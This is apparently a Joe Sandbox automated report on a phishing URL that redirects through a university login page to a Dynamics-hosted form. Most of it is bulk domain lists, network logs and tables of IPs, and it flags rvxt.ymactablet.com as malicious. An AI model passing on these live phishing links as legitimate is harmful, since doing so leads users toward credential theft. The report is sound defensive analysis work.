Source: sets.json.0.dr	String found in binary or memory: https://livehindustan.com
Source: sets.json.0.dr	String found in binary or memory: https://livemint.com
Source: sets.json.0.dr	String found in binary or memory: https://max.auto
Source: sets.json.0.dr	String found in binary or memory: https://medonet.pl
Source: sets.json.0.dr	String found in binary or memory: https://meo.pt
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.cl
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.co.cr
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.ar
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.bo
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.co
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.do
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.ec
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.gt
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.hn
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.mx
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.ni
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.pa
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.pe
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.py
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.sv
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.uy
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.ve
Source: sets.json.0.dr	String found in binary or memory: https://mercadolivre.com
Source: sets.json.0.dr	String found in binary or memory: https://mercadolivre.com.br
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.cl
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com.ar
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com.br
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com.co
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com.ec
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com.mx
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com.pe
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com.uy
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com.ve
Source: sets.json.0.dr	String found in binary or memory: https://mercadoshops.cl
Source: sets.json.0.dr	String found in binary or memory: https://mercadoshops.com
Source: sets.json.0.dr	String found in binary or memory: https://mercadoshops.com.ar
Source: sets.json.0.dr	String found in binary or memory: https://mercadoshops.com.br
Source: sets.json.0.dr	String found in binary or memory: https://mercadoshops.com.co
Source: sets.json.0.dr	String found in binary or memory: https://mercadoshops.com.mx
Source: sets.json.0.dr	String found in binary or memory: https://mighty-app.appspot.com
Source: sets.json.0.dr	String found in binary or memory: https://mightytext.net
Source: sets.json.0.dr	String found in binary or memory: https://mittanbud.no
Source: sets.json.0.dr	String found in binary or memory: https://money.pl
Source: sets.json.0.dr	String found in binary or memory: https://motherandbaby.com
Source: sets.json.0.dr	String found in binary or memory: https://mystudentdashboard.com
Source: sets.json.0.dr	String found in binary or memory: https://nacion.com
Source: sets.json.0.dr	String found in binary or memory: https://naukri.com
Source: sets.json.0.dr	String found in binary or memory: https://nidhiacademyonline.com
Source: sets.json.0.dr	String found in binary or memory: https://nien.co
Source: sets.json.0.dr	String found in binary or memory: https://nien.com
Source: sets.json.0.dr	String found in binary or memory: https://nien.org
Source: sets.json.0.dr	String found in binary or memory: https://nlc.hu
Source: sets.json.0.dr	String found in binary or memory: https://nosalty.hu
Source: sets.json.0.dr	String found in binary or memory: https://noticiascaracol.com
Source: sets.json.0.dr	String found in binary or memory: https://nourishingpursuits.com
Source: sets.json.0.dr	String found in binary or memory: https://nvidia.com
Source: sets.json.0.dr	String found in binary or memory: https://o2.pl
Source: sets.json.0.dr	String found in binary or memory: https://ocdn.eu
Source: sets.json.0.dr	String found in binary or memory: https://onet.pl
Source: sets.json.0.dr	String found in binary or memory: https://ottplay.com
Source: sets.json.0.dr	String found in binary or memory: https://p106.net
Source: sets.json.0.dr	String found in binary or memory: https://p24.hu
Source: sets.json.0.dr	String found in binary or memory: https://paula.com.uy
Source: sets.json.0.dr	String found in binary or memory: https://pdmp-apis.no
Source: sets.json.0.dr	String found in binary or memory: https://phonandroid.com
Source: sets.json.0.dr	String found in binary or memory: https://player.pl
Source: sets.json.0.dr	String found in binary or memory: https://plejada.pl
Source: sets.json.0.dr	String found in binary or memory: https://poalim.site
Source: sets.json.0.dr	String found in binary or memory: https://poalim.xyz
Source: sets.json.0.dr	String found in binary or memory: https://pomponik.pl
Source: sets.json.0.dr	String found in binary or memory: https://portalinmobiliario.com
Source: sets.json.0.dr	String found in binary or memory: https://prisjakt.no
Source: chromecache_75.2.dr	String found in binary or memory: https://public-usa.mkt.dynamics.com/api/v1.0/orgs/073116b7-d9ed-ef11-933d-6045bd027c35/landingpagefo
Source: sets.json.0.dr	String found in binary or memory: https://pudelek.pl
Source: sets.json.0.dr	String found in binary or memory: https://punjabijagran.com
Source: sets.json.0.dr	String found in binary or memory: https://radio1.be
Source: sets.json.0.dr	String found in binary or memory: https://radio2.be
Source: sets.json.0.dr	String found in binary or memory: https://reactor.cc
Source: sets.json.0.dr	String found in binary or memory: https://repid.org
Source: sets.json.0.dr	String found in binary or memory: https://reshim.org
Source: sets.json.0.dr	String found in binary or memory: https://rws1nvtvt.com
Source: sets.json.0.dr	String found in binary or memory: https://rws2nvtvt.com
Source: sets.json.0.dr	String found in binary or memory: https://rws3nvtvt.com
Source: sets.json.0.dr	String found in binary or memory: https://sackrace.ai
Source: sets.json.0.dr	String found in binary or memory: https://salemoveadvisor.com
Source: sets.json.0.dr	String found in binary or memory: https://salemovefinancial.com
Source: sets.json.0.dr	String found in binary or memory: https://salemovetravel.com
Source: sets.json.0.dr	String found in binary or memory: https://samayam.com
Source: sets.json.0.dr	String found in binary or memory: https://sapo.io
Source: sets.json.0.dr	String found in binary or memory: https://sapo.pt
Source: sets.json.0.dr	String found in binary or memory: https://shock.co
Source: sets.json.0.dr	String found in binary or memory: https://smaker.pl
Source: sets.json.0.dr	String found in binary or memory: https://smoney.vn
Source: sets.json.0.dr	String found in binary or memory: https://smpn106jkt.sch.id
Source: sets.json.0.dr	String found in binary or memory: https://socket-to-me.vip
Source: sets.json.0.dr	String found in binary or memory: https://songshare.com
Source: sets.json.0.dr	String found in binary or memory: https://songstats.com
Source: sets.json.0.dr	String found in binary or memory: https://sporza.be
Source: sets.json.0.dr	String found in binary or memory: https://standardsandpraiserepurpose.com
Source: sets.json.0.dr	String found in binary or memory: https://startlap.hu
Source: sets.json.0.dr	String found in binary or memory: https://startupislandtaiwan.com
Source: sets.json.0.dr	String found in binary or memory: https://startupislandtaiwan.net
Source: sets.json.0.dr	String found in binary or memory: https://startupislandtaiwan.org
Source: sets.json.0.dr	String found in binary or memory: https://stripe.com
Source: sets.json.0.dr	String found in binary or memory: https://stripe.network
Source: sets.json.0.dr	String found in binary or memory: https://stripecdn.com
Source: sets.json.0.dr	String found in binary or memory: https://supereva.it
Source: sets.json.0.dr	String found in binary or memory: https://takeabreak.co.uk
Source: sets.json.0.dr	String found in binary or memory: https://talkdeskqaid.com
Source: sets.json.0.dr	String found in binary or memory: https://talkdeskstgid.com
Source: sets.json.0.dr	String found in binary or memory: https://teacherdashboard.com
Source: sets.json.0.dr	String found in binary or memory: https://technology-revealed.com
Source: sets.json.0.dr	String found in binary or memory: https://terazgotuje.pl
Source: sets.json.0.dr	String found in binary or memory: https://text.com
Source: sets.json.0.dr	String found in binary or memory: https://textyserver.appspot.com
Source: sets.json.0.dr	String found in binary or memory: https://the42.ie
Source: sets.json.0.dr	String found in binary or memory: https://thejournal.ie
Source: sets.json.0.dr	String found in binary or memory: https://thirdspace.org.au
Source: sets.json.0.dr	String found in binary or memory: https://timesinternet.in
Source: sets.json.0.dr	String found in binary or memory: https://timesofindia.com
Source: sets.json.0.dr	String found in binary or memory: https://tolteck.app
Source: sets.json.0.dr	String found in binary or memory: https://tolteck.com
Source: sets.json.0.dr	String found in binary or memory: https://top.pl
Source: sets.json.0.dr	String found in binary or memory: https://tribunnews.com
Source: sets.json.0.dr	String found in binary or memory: https://trytalkdesk.com
Source: sets.json.0.dr	String found in binary or memory: https://tucarro.com
Source: sets.json.0.dr	String found in binary or memory: https://tucarro.com.co
Source: sets.json.0.dr	String found in binary or memory: https://tucarro.com.ve
Source: sets.json.0.dr	String found in binary or memory: https://tvid.in
Source: sets.json.0.dr	String found in binary or memory: https://tvn.pl
Source: sets.json.0.dr	String found in binary or memory: https://tvn24.pl
Source: sets.json.0.dr	String found in binary or memory: https://unotv.com
Source: sets.json.0.dr	String found in binary or memory: https://victorymedium.com
Source: sets.json.0.dr	String found in binary or memory: https://vrt.be
Source: sets.json.0.dr	String found in binary or memory: https://vwo.com
Source: sets.json.0.dr	String found in binary or memory: https://webtru.io
Source: sets.json.0.dr	String found in binary or memory: https://welt.de
Source: sets.json.0.dr	String found in binary or memory: https://wieistmeineip.de
Source: sets.json.0.dr	String found in binary or memory: https://wildix.com
Source: sets.json.0.dr	String found in binary or memory: https://wildixin.com
Source: sets.json.0.dr	String found in binary or memory: https://wingify.com
Source: sets.json.0.dr	String found in binary or memory: https://wordle.at
Source: sets.json.0.dr	String found in binary or memory: https://wp.pl
Source: sets.json.0.dr	String found in binary or memory: https://wpext.pl
Source: sets.json.0.dr	String found in binary or memory: https://www.asadcdn.com
Source: sets.json.0.dr	String found in binary or memory: https://ya.ru
Source: sets.json.0.dr	String found in binary or memory: https://yours.co.uk
Source: sets.json.0.dr	String found in binary or memory: https://zalo.me
Source: sets.json.0.dr	String found in binary or memory: https://zdrowietvn.pl
Source: sets.json.0.dr	String found in binary or memory: https://zingmp3.vn
Source: sets.json.0.dr	String found in binary or memory: https://zoom.com
Source: sets.json.0.dr	String found in binary or memory: https://zoom.us

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57009
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 57009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3864_8743478	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3864_8743478\sets.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3864_8743478\manifest.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3864_8743478\LICENSE	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3864_8743478\_metadata\	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3864_8743478\_metadata\verified_contents.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3864_8743478\manifest.fingerprint	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\chrome_BITS_3864_1454260588

Jump to behavior

Source: classification engine

Classification label: mal68.phis.win@19/43@34/16

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2440 --field-trial-handle=2380,i,8774974883558803384,10919857573348917733,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://login.case.edu/cas/login?gateway=true&service=https%3A%2F%2Fassets-usa.mkt.dynamics.com/073116b7-d9ed-ef11-933d-6045bd027c35/digitalassets/standaloneforms/f762be82-c9f2-ef11-9342-000d3a59dfbe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2440 --field-trial-handle=2380,i,8774974883558803384,10919857573348917733,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://login.case.edu/cas/login?gateway=true&service=https%3A%2F%2Fassets-usa.mkt.dynamics.com/073116b7-d9ed-ef11-933d-6045bd027c35/digitalassets/standaloneforms/f762be82-c9f2-ef11-9342-000d3a59dfbe	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label	Link
https://p4d778.vxmeszv.ru/rand@dckb8a8u	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s-part-0044.t-0009.fb-t-msedge.net	13.107.253.72	true	false	high
rvxt.ymactablet.com	104.21.71.57	true	true	unknown
code.jquery.com	151.101.66.137	true	false	high
developers.cloudflare.com	104.16.2.189	true	false	high
p4d778.vxmeszv.ru	188.114.97.3	true	false	unknown
cdnjs.cloudflare.com	104.17.24.14	true	false	high
challenges.cloudflare.com	104.18.95.41	true	false	high
www.google.com	172.217.16.196	true	false	high
sso.lb.CWRU.edu	129.22.108.26	true	false	unknown
prdia888eus0aks.mkt.dynamics.com	52.146.76.30	true	false	high
public-usa.mkt.dynamics.com	unknown	unknown	false	high
assets-usa.mkt.dynamics.com	unknown	unknown	false	high
login.case.edu	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://rvxt.ymactablet.com/a7ju/	true		unknown
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://login.case.edu/cas/login?gateway=true&service=https%3A%2F%2Fassets-usa.mkt.dynamics.com/073116b7-d9ed-ef11-933d-6045bd027c35/digitalassets/standaloneforms/f762be82-c9f2-ef11-9342-000d3a59dfbe	false		high
https://p4d778.vxmeszv.ru/rand@dckb8a8u	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://wieistmeineip.de	sets.json.0.dr	false	high
https://mercadoshops.com.co	sets.json.0.dr	false	high
https://gliadomain.com	sets.json.0.dr	false	high
https://poalim.xyz	sets.json.0.dr	false	high
https://mercadolivre.com	sets.json.0.dr	false	high
https://reshim.org	sets.json.0.dr	false	high
https://nourishingpursuits.com	sets.json.0.dr	false	high
https://medonet.pl	sets.json.0.dr	false	high
https://unotv.com	sets.json.0.dr	false	high
https://mercadoshops.com.br	sets.json.0.dr	false	high
https://joyreactor.cc	sets.json.0.dr	false	high
https://zdrowietvn.pl	sets.json.0.dr	false	high
https://johndeere.com	sets.json.0.dr	false	high
https://songstats.com	sets.json.0.dr	false	high
https://baomoi.com	sets.json.0.dr	false	high
https://supereva.it	sets.json.0.dr	false	high
https://elfinancierocr.com	sets.json.0.dr	false	high
https://bolasport.com	sets.json.0.dr	false	high
https://rws1nvtvt.com	sets.json.0.dr	false	high
https://desimartini.com	sets.json.0.dr	false	high
https://hearty.app	sets.json.0.dr	false	high
https://hearty.gift	sets.json.0.dr	false	high
https://mercadoshops.com	sets.json.0.dr	false	high
https://heartymail.com	sets.json.0.dr	false	high
https://nlc.hu	sets.json.0.dr	false	high
https://p106.net	sets.json.0.dr	false	high
https://radio2.be	sets.json.0.dr	false	high
https://finn.no	sets.json.0.dr	false	high
https://hc1.com	sets.json.0.dr	false	high
https://kompas.tv	sets.json.0.dr	false	high
https://mystudentdashboard.com	sets.json.0.dr	false	high
https://songshare.com	sets.json.0.dr	false	high
https://smaker.pl	sets.json.0.dr	false	high
https://mercadopago.com.mx	sets.json.0.dr	false	high
https://p24.hu	sets.json.0.dr	false	high
https://talkdeskqaid.com	sets.json.0.dr	false	high
https://24.hu	sets.json.0.dr	false	high
https://mercadopago.com.pe	sets.json.0.dr	false	high
https://cardsayings.net	sets.json.0.dr	false	high
https://text.com	sets.json.0.dr	false	high
https://mightytext.net	sets.json.0.dr	false	high
https://pudelek.pl	sets.json.0.dr	false	high
https://hazipatika.com	sets.json.0.dr	false	high
https://joyreactor.com	sets.json.0.dr	false	high
https://cookreactor.com	sets.json.0.dr	false	high
https://wildixin.com	sets.json.0.dr	false	high
https://eworkbookcloud.com	sets.json.0.dr	false	high
https://cognitiveai.ru	sets.json.0.dr	false	high
https://nacion.com	sets.json.0.dr	false	high
https://chennien.com	sets.json.0.dr	false	high
https://drimer.travel	sets.json.0.dr	false	high
https://deccoria.pl	sets.json.0.dr	false	high
https://mercadopago.cl	sets.json.0.dr	false	high
https://talkdeskstgid.com	sets.json.0.dr	false	high
https://naukri.com	sets.json.0.dr	false	high
https://interia.pl	sets.json.0.dr	false	high
https://bonvivir.com	sets.json.0.dr	false	high
https://carcostadvisor.be	sets.json.0.dr	false	high
https://salemovetravel.com	sets.json.0.dr	false	high
https://sapo.io	sets.json.0.dr	false	high
https://wpext.pl	sets.json.0.dr	false	high
https://welt.de	sets.json.0.dr	false	high
https://poalim.site	sets.json.0.dr	false	high
https://drimer.io	sets.json.0.dr	false	high
https://infoedgeindia.com	sets.json.0.dr	false	high
https://blackrockadvisorelite.it	sets.json.0.dr	false	high
https://cognitive-ai.ru	sets.json.0.dr	false	high
https://cafemedia.com	sets.json.0.dr	false	high
https://graziadaily.co.uk	sets.json.0.dr	false	high
https://thirdspace.org.au	sets.json.0.dr	false	high
https://mercadoshops.com.ar	sets.json.0.dr	false	high
https://smpn106jkt.sch.id	sets.json.0.dr	false	high
https://elpais.uy	sets.json.0.dr	false	high
https://landyrev.com	sets.json.0.dr	false	high
https://the42.ie	sets.json.0.dr	false	high
https://commentcamarche.com	sets.json.0.dr	false	high
https://tucarro.com.ve	sets.json.0.dr	false	high
https://rws3nvtvt.com	sets.json.0.dr	false	high
https://eleconomista.net	sets.json.0.dr	false	high
https://helpdesk.com	sets.json.0.dr	false	high
https://mercadolivre.com.br	sets.json.0.dr	false	high
https://clmbtech.com	sets.json.0.dr	false	high
https://standardsandpraiserepurpose.com	sets.json.0.dr	false	high
https://07c225f3.online	sets.json.0.dr	false	high
https://salemovefinancial.com	sets.json.0.dr	false	high
https://mercadopago.com.br	sets.json.0.dr	false	high
https://zoom.us	sets.json.0.dr	false	high
https://commentcamarche.net	sets.json.0.dr	false	high
https://etfacademy.it	sets.json.0.dr	false	high
https://mighty-app.appspot.com	sets.json.0.dr	false	high
https://hj.rs	sets.json.0.dr	false	high
https://hearty.me	sets.json.0.dr	false	high
https://mercadolibre.com.gt	sets.json.0.dr	false	high
https://timesinternet.in	sets.json.0.dr	false	high
https://indiatodayne.in	sets.json.0.dr	false	high
https://idbs-staging.com	sets.json.0.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.21.71.57	rvxt.ymactablet.com	United States	13335	CLOUDFLARENETUS	true
129.22.108.26	sso.lb.CWRU.edu	United States	32666	CWRU-AS-1US	false
52.146.76.30	prdia888eus0aks.mkt.dynamics.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.97.3	p4d778.vxmeszv.ru	European Union	13335	CLOUDFLARENETUS	false
188.114.96.3	unknown	European Union	13335	CLOUDFLARENETUS	false
151.101.66.137	code.jquery.com	United States	54113	FASTLYUS	false
151.101.194.137	unknown	United States	54113	FASTLYUS	false
172.217.16.196	www.google.com	United States	15169	GOOGLEUS	false
104.16.4.189	unknown	United States	13335	CLOUDFLARENETUS	false
104.16.2.189	developers.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.18
192.168.2.4
192.168.2.5

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1623792
Start date and time:	2025-02-25 15:35:58 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://login.case.edu/cas/login?gateway=true&service=https%3A%2F%2Fassets-usa.mkt.dynamics.com/073116b7-d9ed-ef11-933d-6045bd027c35/digitalassets/standaloneforms/f762be82-c9f2-ef11-9342-000d3a59dfbe
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal68.phis.win@19/43@34/16

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.67, 142.250.185.142, 173.194.76.84, 142.250.184.206, 142.250.186.46, 142.250.186.110, 199.232.210.172, 2.17.190.73, 216.58.212.142, 142.250.181.238, 172.217.23.110, 142.250.184.234, 142.250.186.174, 216.58.206.67, 142.250.184.227, 216.58.206.78, 34.104.35.123, 23.199.214.10, 13.107.253.72, 172.202.163.200, 13.107.246.40
Excluded domains from analysis (whitelisted): fonts.googleapis.com, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, fonts.gstatic.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, cxppusa1formui01cdnsa01-endpoint.azureedge.net, clients.l.google.com, cxppusa1formui01cdnsa01-endpoint.afd.azureedge.net
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://login.case.edu/cas/login?gateway=true&service=https%3A%2F%2Fassets-usa.mkt.dynamics.com/073116b7-d9ed-ef11-933d-6045bd027c35/digitalassets/standaloneforms/f762be82-c9f2-ef11-9342-000d3a59dfbe

